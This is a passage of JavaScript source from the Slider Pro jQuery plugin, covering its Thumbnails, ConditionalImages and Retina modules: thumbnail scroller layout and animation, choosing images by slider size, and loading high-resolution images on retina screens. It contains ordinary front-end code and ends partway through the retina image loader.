			if ( this.$slider.find( '.sp-thumbnail' ).length === 0 && this.thumbnails.length === 0 ) {
				this.isThumbnailScroller = false;
				return;
			}

			this.isThumbnailScroller = true;

			// Create the container of the thumbnail scroller, if it wasn't created yet
			if ( this.$thumbnailsContainer === null ) {
				this.$thumbnailsContainer = $( '<div class="sp-thumbnails-container"></div>' ).insertAfter( this.$slidesContainer );
			}

			// If the thumbnails' main container doesn't exist, create it, and get a reference to it
			if ( this.$thumbnails === null ) {
				if ( this.$slider.find( '.sp-thumbnails' ).length !== 0 ) {
					this.$thumbnails = this.$slider.find( '.sp-thumbnails' ).appendTo( this.$thumbnailsContainer );

					// Shuffle/randomize the thumbnails
					if ( this.settings.shuffle === true ) {
						var thumbnails = this.$thumbnails.find( '.sp-thumbnail' ),
							shuffledThumbnails = [];

						// Reposition the thumbnails based on the order of the indexes in the
						// 'shuffledIndexes' array
						$.each( this.shuffledIndexes, function( index, element ) {
							var $thumbnail = $( thumbnails[ element ] );

							if ( $thumbnail.parent( 'a' ).length !== 0 ) {
								$thumbnail = $thumbnail.parent( 'a' );
							}

							shuffledThumbnails.push( $thumbnail );
						});
						
						// Append the sorted thumbnails to the thumbnail scroller
						this.$thumbnails.empty().append( shuffledThumbnails ) ;
					}
				} else {
					this.$thumbnails = $( '<div class="sp-thumbnails"></div>' ).appendTo( this.$thumbnailsContainer );
				}
			}

			// Check if there are thumbnails inside the slides and move them in the thumbnails container
			this.$slides.find( '.sp-thumbnail' ).each( function( index ) {
				var $thumbnail = $( this ),
					thumbnailIndex = $thumbnail.parents( '.sp-slide' ).index(),
					lastThumbnailIndex = that.$thumbnails.find( '.sp-thumbnail' ).length - 1;

				if ( $thumbnail.parent( 'a' ).length !== 0 ) {
					$thumbnail = $thumbnail.parent( 'a' );
				}

				// If the index of the slide that contains the thumbnail is greater than the total number
				// of thumbnails from the thumbnails container, position the thumbnail at the end.
				// Otherwise, add the thumbnails at the corresponding position.
				if ( thumbnailIndex > lastThumbnailIndex ) {
					$thumbnail.appendTo( that.$thumbnails );
				} else {
					$thumbnail.insertBefore( that.$thumbnails.find( '.sp-thumbnail' ).eq( thumbnailIndex ) );
				}
			});

			// Loop through the Thumbnail objects and if a corresponding element is not found in the DOM,
			// it means that the thumbnail might have been removed. In this case, destroy that Thumbnail instance.
			for ( var i = this.thumbnails.length - 1; i >= 0; i-- ) {
				if ( this.$thumbnails.find( '.sp-thumbnail[data-index="' + i + '"]' ).length === 0 ) {
					var thumbnail = this.thumbnails[ i ];

					thumbnail.destroy();
					this.thumbnails.splice( i, 1 );
				}
			}

			// Loop through the thumbnails and if there is any uninitialized thumbnail,
			// initialize it, else update the thumbnail's index.
			this.$thumbnails.find( '.sp-thumbnail' ).each(function( index ) {
				var $thumbnail = $( this );

				if ( typeof $thumbnail.attr( 'data-init' ) === 'undefined' ) {
					that._createThumbnail( $thumbnail, index );
				} else {
					that.thumbnails[ index ].setIndex( index );
				}
			});

			// Remove the previous class that corresponds to the position of the thumbnail scroller
			this.$thumbnailsContainer.removeClass( 'sp-top-thumbnails sp-bottom-thumbnails sp-left-thumbnails sp-right-thumbnails' );

			// Check the position of the thumbnail scroller and assign it the appropriate class and styling
			if ( this.settings.thumbnailsPosition === 'top' ) {
				this.$thumbnailsContainer.addClass( 'sp-top-thumbnails' );
				this.thumbnailsOrientation = 'horizontal';
			} else if ( this.settings.thumbnailsPosition === 'bottom' ) {
				this.$thumbnailsContainer.addClass( 'sp-bottom-thumbnails' );
				this.thumbnailsOrientation = 'horizontal';
			} else if ( this.settings.thumbnailsPosition === 'left' ) {
				this.$thumbnailsContainer.addClass( 'sp-left-thumbnails' );
				this.thumbnailsOrientation = 'vertical';
			} else if ( this.settings.thumbnailsPosition === 'right' ) {
				this.$thumbnailsContainer.addClass( 'sp-right-thumbnails' );
				this.thumbnailsOrientation = 'vertical';
			}

			// Check if the pointer needs to be created
			if ( this.settings.thumbnailPointer === true ) {
				this.$thumbnailsContainer.addClass( 'sp-has-pointer' );
			} else {
				this.$thumbnailsContainer.removeClass( 'sp-has-pointer' );
			}

			// Mark the thumbnail that corresponds to the selected slide
			this.selectedThumbnailIndex = this.selectedSlideIndex;
			this.$thumbnails.find( '.sp-thumbnail-container' ).eq( this.selectedThumbnailIndex ).addClass( 'sp-selected-thumbnail' );
			
			// Calculate the total size of the thumbnails
			this.thumbnailsSize = 0;

			$.each( this.thumbnails, function( index, thumbnail ) {
				thumbnail.setSize( that.settings.thumbnailWidth, that.settings.thumbnailHeight );
				that.thumbnailsSize += that.thumbnailsOrientation === 'horizontal' ? thumbnail.getSize().width : thumbnail.getSize().height;
			});

			// Set the size of the thumbnails
			if ( this.thumbnailsOrientation === 'horizontal' ) {
				this.$thumbnails.css({ 'width': this.thumbnailsSize, 'height': this.settings.thumbnailHeight });
				this.$thumbnailsContainer.css( 'height', '' );
				this.thumbnailsPositionProperty = 'left';
			} else {
				this.$thumbnails.css({ 'width': this.settings.thumbnailWidth, 'height': this.thumbnailsSize });
				this.$thumbnailsContainer.css( 'width', '' );
				this.thumbnailsPositionProperty = 'top';
			}

			// Fire the 'thumbnailsUpdate' event
			this.trigger({ type: 'thumbnailsUpdate' });
			if ( $.isFunction( this.settings.thumbnailsUpdate ) ) {
				this.settings.thumbnailsUpdate.call( this, { type: 'thumbnailsUpdate' } );
			}
		},

		// Create an individual thumbnail
		_createThumbnail: function( element, index ) {
			var that = this,
				thumbnail = new Thumbnail( element, this.$thumbnails, index );

			// When the thumbnail is clicked, navigate to the corresponding slide
			thumbnail.on( 'thumbnailClick.' + NS, function( event ) {
				that.gotoSlide( event.index );
			});

			// Add the thumbnail at the specified index
			this.thumbnails.splice( index, 0, thumbnail );
		},

		// Called when the slider is resized.
		// Resets the size and position of the thumbnail scroller container.
		_thumbnailsOnResize: function() {
			if ( this.isThumbnailScroller === false ) {
				return;
			}

			var that = this,
				newThumbnailsPosition;

			if ( this.thumbnailsOrientation === 'horizontal' ) {
				this.thumbnailsContainerSize = Math.min( this.$slidesMask.width(), this.thumbnailsSize );
				this.$thumbnailsContainer.css( 'width', this.thumbnailsContainerSize );

				// Reduce the slide mask's height, to make room for the thumbnails
				if ( this.settings.forceSize === 'fullWindow' ) {
					this.$slidesMask.css( 'height', this.$slidesMask.height() - this.$thumbnailsContainer.outerHeight( true ) );

					// Resize the slides
					this.slideHeight = this.$slidesMask.height();
					this._resizeSlides();

					// Re-arrange the slides
					this._resetSlidesPosition();
				}
			} else if ( this.thumbnailsOrientation === 'vertical' ) {

				// Check if the width of the slide mask plus the width of the thumbnail scroller is greater than
				// the width of the slider's container and if that's the case, reduce the slides container width
				// in order to make the entire slider fit inside the slider's container.
				if ( this.$slidesMask.width() + this.$thumbnailsContainer.outerWidth( true ) > this.$slider.parent().width() ) {
					// Reduce the slider's width, to make room for the thumbnails
					if ( this.settings.forceSize === 'fullWidth' || this.settings.forceSize === 'fullWindow' ) {
						this.$slider.css( 'max-width', $( window ).width() - this.$thumbnailsContainer.outerWidth( true ) );
					} else {
						this.$slider.css( 'max-width', this.$slider.parent().width() - this.$thumbnailsContainer.outerWidth( true ) );
					}
					
					this.$slidesMask.css( 'width', this.$slider.width() );

					// If the slides are vertically oriented, update the width and height (to maintain the aspect ratio)
					// of the slides.
					if ( this.settings.orientation === 'vertical' ) {
						this.slideWidth = this.$slider.width();

						this._resizeSlides();
					}

					// Re-arrange the slides
					this._resetSlidesPosition();
				}

				this.thumbnailsContainerSize = Math.min( this.$slidesMask.height(), this.thumbnailsSize );
				this.$thumbnailsContainer.css( 'height', this.thumbnailsContainerSize );
			}

			// If the total size of the thumbnails is smaller than the thumbnail scroller' container (which has
			// the same size as the slides container), it means that all the thumbnails will be visible, so set
			// the position of the thumbnail scroller to 0.
			// 
			// If that's not the case, the thumbnail scroller will be positioned based on which thumbnail is selected.
			if ( this.thumbnailsSize <= this.thumbnailsContainerSize || this.$thumbnails.find( '.sp-selected-thumbnail' ).length === 0 ) {
				newThumbnailsPosition = 0;
			} else {
				newThumbnailsPosition = Math.max( - this.thumbnails[ this.selectedThumbnailIndex ].getPosition()[ this.thumbnailsPositionProperty ], this.thumbnailsContainerSize - this.thumbnailsSize );
			}

			// Add a padding to the slider, based on the thumbnail scroller's orientation, to make room
			// for the thumbnails.
			if ( this.settings.thumbnailsPosition === 'top' ) {
				this.$slider.css({ 'paddingTop': this.$thumbnailsContainer.outerHeight( true ), 'paddingLeft': '', 'paddingRight': '' });
			} else if ( this.settings.thumbnailsPosition === 'bottom' ) {
				this.$slider.css({ 'paddingTop': '', 'paddingLeft': '', 'paddingRight': '' });
			} else if ( this.settings.thumbnailsPosition === 'left' ) {
				this.$slider.css({ 'paddingTop': '', 'paddingLeft': this.$thumbnailsContainer.outerWidth( true ), 'paddingRight': '' });
			} else if ( this.settings.thumbnailsPosition === 'right' ) {
				this.$slider.css({ 'paddingTop': '', 'paddingLeft': '', 'paddingRight': this.$thumbnailsContainer.outerWidth( true ) });
			}

			this._moveThumbnailsTo( newThumbnailsPosition, true );
		},

		// Selects the thumbnail at the indicated index and moves the thumbnail scroller
		// accordingly.
		_gotoThumbnail: function( index ) {
			if ( this.isThumbnailScroller === false || typeof this.thumbnails[ index ] === 'undefined' ) {
				return;
			}

			var previousIndex = this.selectedThumbnailIndex,
				newThumbnailsPosition = this.thumbnailsPosition;

			this.selectedThumbnailIndex = index;

			// Set the 'selected' class to the appropriate thumbnail
			this.$thumbnails.find( '.sp-selected-thumbnail' ).removeClass( 'sp-selected-thumbnail' );
			this.$thumbnails.find( '.sp-thumbnail-container' ).eq( this.selectedThumbnailIndex ).addClass( 'sp-selected-thumbnail' );

			// Calculate the new position that the thumbnail scroller needs to go to.
			// 
			// If the selected thumbnail has a higher index than the previous one, make sure that the thumbnail
			// that comes after the selected thumbnail will be visible, if the selected thumbnail is not the
			// last thumbnail in the list.
			// 
			// If the selected thumbnail has a lower index than the previous one, make sure that the thumbnail
			// that's before the selected thumbnail will be visible, if the selected thumbnail is not the
			// first thumbnail in the list.
			if ( this.settings.rightToLeft === true && this.thumbnailsOrientation === 'horizontal' ) {
				if ( this.selectedThumbnailIndex >= previousIndex ) {
					var rtlNextThumbnailIndex = this.selectedThumbnailIndex === this.thumbnails.length - 1 ? this.selectedThumbnailIndex : this.selectedThumbnailIndex + 1,
						rtlNextThumbnail = this.thumbnails[ rtlNextThumbnailIndex ];

					if ( rtlNextThumbnail.getPosition().left < - this.thumbnailsPosition ) {
						newThumbnailsPosition = - rtlNextThumbnail.getPosition().left;
					}
				} else if ( this.selectedThumbnailIndex < previousIndex ) {
					var rtlPreviousThumbnailIndex = this.selectedThumbnailIndex === 0 ? this.selectedThumbnailIndex : this.selectedThumbnailIndex - 1,
						rtlPreviousThumbnail = this.thumbnails[ rtlPreviousThumbnailIndex ],
						rtlThumbnailsRightPosition = - this.thumbnailsPosition + this.thumbnailsContainerSize;

					if ( rtlPreviousThumbnail.getPosition().right > rtlThumbnailsRightPosition ) {
						newThumbnailsPosition = this.thumbnailsPosition - ( rtlPreviousThumbnail.getPosition().right - rtlThumbnailsRightPosition );
					}
				}
			} else {
				if ( this.selectedThumbnailIndex >= previousIndex ) {
					var nextThumbnailIndex = this.selectedThumbnailIndex === this.thumbnails.length - 1 ? this.selectedThumbnailIndex : this.selectedThumbnailIndex + 1,
						nextThumbnail = this.thumbnails[ nextThumbnailIndex ],
						nextThumbnailPosition = this.thumbnailsOrientation === 'horizontal' ? nextThumbnail.getPosition().right : nextThumbnail.getPosition().bottom,
						thumbnailsRightPosition = - this.thumbnailsPosition + this.thumbnailsContainerSize;

					if ( nextThumbnailPosition > thumbnailsRightPosition ) {
						newThumbnailsPosition = this.thumbnailsPosition - ( nextThumbnailPosition - thumbnailsRightPosition );
					}
				} else if ( this.selectedThumbnailIndex < previousIndex ) {
					var previousThumbnailIndex = this.selectedThumbnailIndex === 0 ? this.selectedThumbnailIndex : this.selectedThumbnailIndex - 1,
						previousThumbnail = this.thumbnails[ previousThumbnailIndex ],
						previousThumbnailPosition = this.thumbnailsOrientation === 'horizontal' ? previousThumbnail.getPosition().left : previousThumbnail.getPosition().top;

					if ( previousThumbnailPosition < - this.thumbnailsPosition ) {
						newThumbnailsPosition = - previousThumbnailPosition;
					}
				}
			}

			// Move the thumbnail scroller to the calculated position
			this._moveThumbnailsTo( newThumbnailsPosition );

			// Fire the 'gotoThumbnail' event
			this.trigger({ type: 'gotoThumbnail' });
			if ( $.isFunction( this.settings.gotoThumbnail ) ) {
				this.settings.gotoThumbnail.call( this, { type: 'gotoThumbnail' });
			}
		},

		// Move the thumbnail scroller to the indicated position
		_moveThumbnailsTo: function( position, instant, callback ) {
			var that = this,
				css = {};

			// Return if the position hasn't changed
			if ( position === this.thumbnailsPosition ) {
				return;
			}

			this.thumbnailsPosition = position;

			// Use CSS transitions if they are supported. If not, use JavaScript animation
			if ( this.supportedAnimation === 'css-3d' || this.supportedAnimation === 'css-2d' ) {
				var transition,
					left = this.thumbnailsOrientation === 'horizontal' ? position : 0,
					top = this.thumbnailsOrientation === 'horizontal' ? 0 : position;

				if ( this.supportedAnimation === 'css-3d' ) {
					css[ this.vendorPrefix + 'transform' ] = 'translate3d(' + left + 'px, ' + top + 'px, 0)';
				} else {
					css[ this.vendorPrefix + 'transform' ] = 'translate(' + left + 'px, ' + top + 'px)';
				}

				if ( typeof instant !== 'undefined' && instant === true ) {
					transition = '';
				} else {
					this.$thumbnails.addClass( 'sp-animated' );
					transition = this.vendorPrefix + 'transform ' + 700 / 1000 + 's';

					this.$thumbnails.on( this.transitionEvent, function( event ) {
						if ( event.target !== event.currentTarget ) {
							return;
						}

						that.$thumbnails.off( that.transitionEvent );
						that.$thumbnails.removeClass( 'sp-animated' );

						if ( typeof callback === 'function' ) {
							callback();
						}

						// Fire the 'thumbnailsMoveComplete' event
						that.trigger({ type: 'thumbnailsMoveComplete' });
						if ( $.isFunction( that.settings.thumbnailsMoveComplete ) ) {
							that.settings.thumbnailsMoveComplete.call( that, { type: 'thumbnailsMoveComplete' });
						}
					});
				}

				css[ this.vendorPrefix + 'transition' ] = transition;

				this.$thumbnails.css( css );
			} else {
				css[ 'margin-' + this.thumbnailsPositionProperty ] = position;

				if ( typeof instant !== 'undefined' && instant === true ) {
					this.$thumbnails.css( css );
				} else {
					this.$thumbnails
						.addClass( 'sp-animated' )
						.animate( css, 700, function() {
							that.$thumbnails.removeClass( 'sp-animated' );

							if ( typeof callback === 'function' ) {
								callback();
							}

							// Fire the 'thumbnailsMoveComplete' event
							that.trigger({ type: 'thumbnailsMoveComplete' });
							if ( $.isFunction( that.settings.thumbnailsMoveComplete ) ) {
								that.settings.thumbnailsMoveComplete.call( that, { type: 'thumbnailsMoveComplete' });
							}
						});
				}
			}
		},

		// Stop the movement of the thumbnail scroller
		_stopThumbnailsMovement: function() {
			var css = {};

			if ( this.supportedAnimation === 'css-3d' || this.supportedAnimation === 'css-2d' ) {
				var	matrixString = this.$thumbnails.css( this.vendorPrefix + 'transform' ),
					matrixType = matrixString.indexOf( 'matrix3d' ) !== -1 ? 'matrix3d' : 'matrix',
					matrixArray = matrixString.replace( matrixType, '' ).match( /-?[0-9\.]+/g ),
					left = matrixType === 'matrix3d' ? parseInt( matrixArray[ 12 ], 10 ) : parseInt( matrixArray[ 4 ], 10 ),
					top = matrixType === 'matrix3d' ? parseInt( matrixArray[ 13 ], 10 ) : parseInt( matrixArray[ 5 ], 10 );

				if ( this.supportedAnimation === 'css-3d' ) {
					css[ this.vendorPrefix + 'transform' ] = 'translate3d(' + left + 'px, ' + top + 'px, 0)';
				} else {
					css[ this.vendorPrefix + 'transform' ] = 'translate(' + left + 'px, ' + top + 'px)';
				}

				css[ this.vendorPrefix + 'transition' ] = '';

				this.$thumbnails.css( css );
				this.$thumbnails.off( this.transitionEvent );
				this.thumbnailsPosition = this.thumbnailsOrientation === 'horizontal' ? parseInt( matrixArray[ 4 ] , 10 ) : parseInt( matrixArray[ 5 ] , 10 );
			} else {
				this.$thumbnails.stop();
				this.thumbnailsPosition = parseInt( this.$thumbnails.css( 'margin-' + this.thumbnailsPositionProperty ), 10 );
			}

			this.$thumbnails.removeClass( 'sp-animated' );
		},

		// Destroy the module
		destroyThumbnails: function() {
			var that = this;

			// Remove event listeners
			this.off( 'update.' + NS );

			if ( this.isThumbnailScroller === false ) {
				return;
			}
			
			this.off( 'sliderResize.' + NS );
			this.off( 'gotoSlide.' + NS );
			$( window ).off( 'resize.' + this.uniqueId + '.' + NS );

			// Destroy the individual thumbnails
			this.$thumbnails.find( '.sp-thumbnail' ).each( function() {
				var $thumbnail = $( this ),
					index = parseInt( $thumbnail.attr( 'data-index' ), 10 ),
					thumbnail = that.thumbnails[ index ];

				thumbnail.off( 'thumbnailClick.' + NS );
				thumbnail.destroy();
			});

			this.thumbnails.length = 0;

			// Add the thumbnail scroller directly in the slider and
			// remove the thumbnail scroller container
			this.$thumbnails.appendTo( this.$slider );
			this.$thumbnailsContainer.remove();
			
			// Remove any created padding
			this.$slider.css({ 'paddingTop': '', 'paddingLeft': '', 'paddingRight': '' });
		},

		thumbnailsDefaults: {

			// Sets the width of the thumbnail
			thumbnailWidth: 100,

			// Sets the height of the thumbnail
			thumbnailHeight: 80,

			// Sets the position of the thumbnail scroller (top, bottom, right, left)
			thumbnailsPosition: 'bottom',

			// Indicates if a pointer will be displayed for the selected thumbnail
			thumbnailPointer: false,

			// Called when the thumbnails are updated
			thumbnailsUpdate: function() {},

			// Called when a new thumbnail is selected
			gotoThumbnail: function() {},

			// Called when the thumbnail scroller has moved
			thumbnailsMoveComplete: function() {}
		}
	};

	var Thumbnail = function( thumbnail, thumbnails, index ) {

		// Reference to the thumbnail jQuery element
		this.$thumbnail = thumbnail;

		// Reference to the thumbnail scroller
		this.$thumbnails = thumbnails;

		// Reference to the thumbnail's container, which will be 
		// created dynamically.
		this.$thumbnailContainer = null;

		// The width and height of the thumbnail
		this.width = 0;
		this.height = 0;

		// Indicates whether the thumbnail's image is loaded
		this.isImageLoaded = false;

		// Set the index of the slide
		this.setIndex( index );

		// Initialize the thumbnail
		this._init();
	};

	Thumbnail.prototype = {

		_init: function() {
			var that = this;

			// Mark the thumbnail as initialized
			this.$thumbnail.attr( 'data-init', true );

			// Create a container for the thumbnail and add the original thumbnail to this container.
			// Having a container will help crop the thumbnail image if it's too large.
			this.$thumbnailContainer = $( '<div class="sp-thumbnail-container"></div>' ).appendTo( this.$thumbnails );

			if ( this.$thumbnail.parent( 'a' ).length !== 0 ) {
				this.$thumbnail.parent( 'a' ).appendTo( this.$thumbnailContainer );
			} else {
				this.$thumbnail.appendTo( this.$thumbnailContainer );
			}

			// When the thumbnail container is clicked, fire an event
			this.$thumbnailContainer.on( 'click.' + NS, function() {
				that.trigger({ type: 'thumbnailClick.' + NS, index: that.index });
			});
		},

		// Set the width and height of the thumbnail
		setSize: function( width, height ) {
			this.width = width;
			this.height = height;

			// Apply the width and height to the thumbnail's container
			this.$thumbnailContainer.css({ 'width': this.width, 'height': this.height });

			// If there is an image, resize it to fit the thumbnail container
			if ( this.$thumbnail.is( 'img' ) && typeof this.$thumbnail.attr( 'data-src' ) === 'undefined' ) {
				this.resizeImage();
			}
		},

		// Return the width and height of the thumbnail
		getSize: function() {
			return {
				width: this.$thumbnailContainer.outerWidth( true ),
				height: this.$thumbnailContainer.outerHeight( true )
			};
		},

		// Return the top, bottom, left and right position of the thumbnail
		getPosition: function() {
			return {
				left: this.$thumbnailContainer.position().left + parseInt( this.$thumbnailContainer.css( 'marginLeft' ) , 10 ),
				right: this.$thumbnailContainer.position().left + parseInt( this.$thumbnailContainer.css( 'marginLeft' ) , 10 ) + this.$thumbnailContainer.outerWidth(),
				top: this.$thumbnailContainer.position().top + parseInt( this.$thumbnailContainer.css( 'marginTop' ) , 10 ),
				bottom: this.$thumbnailContainer.position().top + parseInt( this.$thumbnailContainer.css( 'marginTop' ) , 10 ) + this.$thumbnailContainer.outerHeight()
			};
		},

		// Set the index of the thumbnail
		setIndex: function( index ) {
			this.index = index;
			this.$thumbnail.attr( 'data-index', this.index );
		},

		// Resize the thumbnail's image
		resizeImage: function() {
			var that = this;

			// If the image is not loaded yet, load it
			if ( this.isImageLoaded === false ) {
				SliderProUtils.checkImagesComplete( this.$thumbnailContainer , function() {
					that.isImageLoaded = true;
					that.resizeImage();
				});

				return;
			}

			// Get the reference to the thumbnail image again because it was replaced by
			// another img element during the loading process
			this.$thumbnail = this.$thumbnailContainer.find( '.sp-thumbnail' );

			// Calculate whether the image should stretch horizontally or vertically
			var imageWidth = this.$thumbnail.width(),
				imageHeight = this.$thumbnail.height();

			if ( imageWidth / imageHeight <= this.width / this.height ) {
				this.$thumbnail.css({ width: '100%', height: 'auto' });
			} else {
				this.$thumbnail.css({ width: 'auto', height: '100%' });
			}

			this.$thumbnail.css({ 'marginLeft': ( this.$thumbnailContainer.width() - this.$thumbnail.width() ) * 0.5, 'marginTop': ( this.$thumbnailContainer.height() - this.$thumbnail.height() ) * 0.5 });
		},

		// Destroy the thumbnail
		destroy: function() {
			this.$thumbnailContainer.off( 'click.' + NS );

			// Remove added attributes
			this.$thumbnail.removeAttr( 'data-init' );
			this.$thumbnail.removeAttr( 'data-index' );

			// Remove the thumbnail's container and add the thumbnail
			// back to the thumbnail scroller container
			if ( this.$thumbnail.parent( 'a' ).length !== 0 ) {
				this.$thumbnail.parent( 'a' ).insertBefore( this.$thumbnailContainer );
			} else {
				this.$thumbnail.insertBefore( this.$thumbnailContainer );
			}
			
			this.$thumbnailContainer.remove();
		},

		// Attach an event handler to the slide
		on: function( type, callback ) {
			return this.$thumbnailContainer.on( type, callback );
		},

		// Detach an event handler to the slide
		off: function( type ) {
			return this.$thumbnailContainer.off( type );
		},

		// Trigger an event on the slide
		trigger: function( data ) {
			return this.$thumbnailContainer.triggerHandler( data );
		}
	};

	$.SliderPro.addModule( 'Thumbnails', Thumbnails );

})( window, jQuery );

// ConditionalImages module for Slider Pro.
// 
// Adds the possibility to specify multiple sources for each image and
// load the image that's the most appropriate for the size of the slider.
// For example, instead of loading a large image even if the slider will be small
// you can specify a smaller image that will be loaded instead.
;(function( window, $ ) {

	"use strict";

	var NS = 'ConditionalImages.' + $.SliderPro.namespace;

	var ConditionalImages = {

		// Reference to the previous size
		previousImageSize: null,

		// Reference to the current size
		currentImageSize: null,

		// Indicates if the current display supports high PPI
		isRetinaScreen: false,

		initConditionalImages: function() {
			this.currentImageSize = this.previousImageSize = 'default';
			this.isRetinaScreen = ( typeof this._isRetina !== 'undefined' ) && ( this._isRetina() === true );

			this.on( 'update.' + NS, $.proxy( this._conditionalImagesOnUpdate, this ) );
			this.on( 'sliderResize.' + NS, $.proxy( this._conditionalImagesOnResize, this ) );
		},

		// Loop through all the existing images and specify the original path of the image
		// inside the 'data-default' attribute.
		_conditionalImagesOnUpdate: function() {
			$.each( this.slides, function( index, element ) {
				var $slide = element.$slide;

				$slide.find( 'img:not([ data-default ])' ).each(function() {
					var $image = $( this );

					if ( typeof $image.attr( 'data-src' ) !== 'undefined' ) {
						$image.attr( 'data-default', $image.attr( 'data-src' ) );
					} else {
						$image.attr( 'data-default', $image.attr( 'src' ) );
					}
				});
			});
		},

		// When the window resizes, identify the applyable image size based on the current size of the slider
		// and apply it to all images that have a version of the image specified for this size.
		_conditionalImagesOnResize: function() {
			if ( this.slideWidth <= this.settings.smallSize ) {
				this.currentImageSize = 'small';
			} else if ( this.slideWidth <= this.settings.mediumSize ) {
				this.currentImageSize = 'medium';
			} else if ( this.slideWidth <= this.settings.largeSize ) {
				this.currentImageSize = 'large';
			} else {
				this.currentImageSize = 'default';
			}

			if ( this.previousImageSize !== this.currentImageSize ) {
				var that = this;

				$.each( this.slides, function( index, element ) {
					var $slide = element.$slide;

					$slide.find( 'img' ).each(function() {
						var $image = $( this ),
							imageSource = '';

						// Check if the current display supports high PPI and if a retina version of the current size was specified
						if ( that.isRetinaScreen === true && typeof $image.attr( 'data-retina' + that.currentImageSize ) !== 'undefined' ) {
							imageSource = $image.attr( 'data-retina' + that.currentImageSize );

							// If the retina image was not loaded yet, replace the default image source with the one
							// that corresponds to the current slider size
							if ( typeof $image.attr( 'data-retina' ) !== 'undefined' && $image.attr( 'data-retina' ) !== imageSource ) {
								$image.attr( 'data-retina', imageSource );
							}
						} else if ( ( that.isRetinaScreen === false || that.isRetinaScreen === true && typeof $image.attr( 'data-retina' ) === 'undefined' ) && typeof $image.attr( 'data-' + that.currentImageSize ) !== 'undefined' ) {
							imageSource = $image.attr( 'data-' + that.currentImageSize );

							// If the image is set to lazy load, replace the image source with the one
							// that corresponds to the current slider size
							if ( typeof $image.attr( 'data-src' ) !== 'undefined' && $image.attr( 'data-src' ) !== imageSource ) {
								$image.attr( 'data-src', imageSource );
							}
						}

						// If a new image was found
						if ( imageSource !== '' ) {

							// The existence of the 'data-src' attribute indicates that the image
							// will be lazy loaded, so don't load the new image yet
							if ( typeof $image.attr( 'data-src' ) === 'undefined' && $image.attr( 'src' ) !== imageSource  ) {
								that._loadConditionalImage( $image, imageSource, function( newImage ) {
									if ( newImage.hasClass( 'sp-image' ) ) {
										element.$mainImage = newImage;
										element.resizeMainImage( true );
									}
								});
							}
						}
					});
				});

				this.previousImageSize = this.currentImageSize;
			}
		},

		// Replace the target image with a new image
		_loadConditionalImage: function( image, source, callback ) {

			// Create a new image element
			var newImage = $( new Image() );

			// Copy the class(es) and inline style
			newImage.attr( 'class', image.attr( 'class' ) );
			newImage.attr( 'style', image.attr( 'style' ) );

			// Copy the data attributes
			$.each( image.data(), function( name, value ) {
				newImage.attr( 'data-' + name, value );
			});

			// Copy the width and height attributes if they exist
			if ( typeof image.attr( 'width' ) !== 'undefined') {
				newImage.attr( 'width', image.attr( 'width' ) );
			}

			if ( typeof image.attr( 'height' ) !== 'undefined') {
				newImage.attr( 'height', image.attr( 'height' ) );
			}

			if ( typeof image.attr( 'alt' ) !== 'undefined' ) {
				newImage.attr( 'alt', image.attr( 'alt' ) );
			}

			if ( typeof image.attr( 'title' ) !== 'undefined' ) {
				newImage.attr( 'title', image.attr( 'title' ) );
			}

			newImage.attr( 'src', source );

			// Add the new image in the same container and remove the older image
			newImage.insertAfter( image );
			image.remove();
			image = null;
				
			if ( typeof callback === 'function' ) {
				callback( newImage );
			}
		},

		// Destroy the module
		destroyConditionalImages: function() {
			this.off( 'update.' + NS );
			this.off( 'sliderResize.' + NS );
		},

		conditionalImagesDefaults: {

			// If the slider size is below this size, the small version of the images will be used
			smallSize: 480,

			// If the slider size is below this size, the small version of the images will be used
			mediumSize: 768,

			// If the slider size is below this size, the small version of the images will be used
			largeSize: 1024
		}
	};

	$.SliderPro.addModule( 'ConditionalImages', ConditionalImages );

})( window, jQuery );

// Retina module for Slider Pro.
// 
// Adds the possibility to load a different image when the slider is
// viewed on a retina screen.
;(function( window, $ ) {

	"use strict";
	
	var NS = 'Retina.' + $.SliderPro.namespace;

	var Retina = {

		initRetina: function() {
			var that = this;

			// Return if it's not a retina screen
			if ( this._isRetina() === false ) {
				return;
			}
			
			this.on( 'sliderResize.' + NS, $.proxy( this._checkRetinaImages, this ) );

			if ( this.$slider.find( '.sp-thumbnail' ).length !== 0 ) {
				this.on( 'update.Thumbnails.' + NS, $.proxy( this._checkRetinaThumbnailImages, this ) );
			}
		},

		// Checks if the current display supports high PPI
		_isRetina: function() {
			if ( window.devicePixelRatio >= 2 ) {
				return true;
			}

			if ( window.matchMedia && ( window.matchMedia( "(-webkit-min-device-pixel-ratio: 2),(min-resolution: 2dppx)" ).matches ) ) {
				return true;
			}

			return false;
		},

		// Loop through the slides and replace the images with their retina version
		_checkRetinaImages: function() {
			var that = this;

			$.each( this.slides, function( index, element ) {
				var $slide = element.$slide;

				if ( typeof $slide.attr( 'data-retina-loaded' ) === 'undefined' ) {
					$slide.attr( 'data-retina-loaded', true );

					$slide.find( 'img[data-retina]' ).each(function() {
						var $image = $( this );

						if ( typeof $image.attr( 'data-src' ) !== 'undefined' ) {
							$image.attr( 'data-src', $image.attr( 'data-retina' ) );
						} else {
							that._loadRetinaImage( $image, function( newImage ) {
								if ( newImage.hasClass( 'sp-image' ) ) {
									element.$mainImage = newImage;
									element.resizeMainImage( true );
								}
							});
						}
					});
				}
			});
		},

		// Loop through the thumbnails and replace the images with their retina version
		_checkRetinaThumbnailImages: function() {
			var that = this;

			$.each( this.thumbnails, function( index, element ) {
				var $thumbnail = element.$thumbnailContainer;

				if ( typeof $thumbnail.attr( 'data-retina-loaded' ) === 'undefined' ) {
					$thumbnail.attr( 'data-retina-loaded', true );

					$thumbnail.find( 'img[data-retina]' ).each(function() {
						var $image = $( this );

						if ( typeof $image.attr( 'data-src' ) !== 'undefined' ) {
							$image.attr( 'data-src', $image.attr( 'data-retina' ) );
						} else {
							that._loadRetinaImage( $image, function( newImage ) {
								if ( newImage.hasClass( 'sp-thumbnail' ) ) {
									element.resizeImage();
								}
							});
						}
					});
				}
			});
		},

		// Load the retina image
		_loadRetinaImage: function( image, callback ) {
			var retinaFound = false,
				newImagePath = '';

			// Check if there is a retina image specified
			if ( typeof image.attr( 'data-retina' ) !== 'undefined' ) {
				retinaFound = true;

				newImagePath = image.attr( 'data-retina' );
			}

			// Check if there is a lazy loaded, non-retina, image specified
			if ( typeof image.attr( 'data-src' ) !== 'undefined' ) {
				if ( retinaFound === false ) {
					newImagePath = image.attr( 'data-src') ;
				}

				image.removeAttr('data-src');
			}

			// Return if there isn't a retina or lazy loaded image
			if ( newImagePath === '' ) {
				return;
			}

			// Create a new image element
			var newImage = $( new Image() );

			// Copy the class(es) and inline style
			newImage.attr( 'class', image.attr('class') );
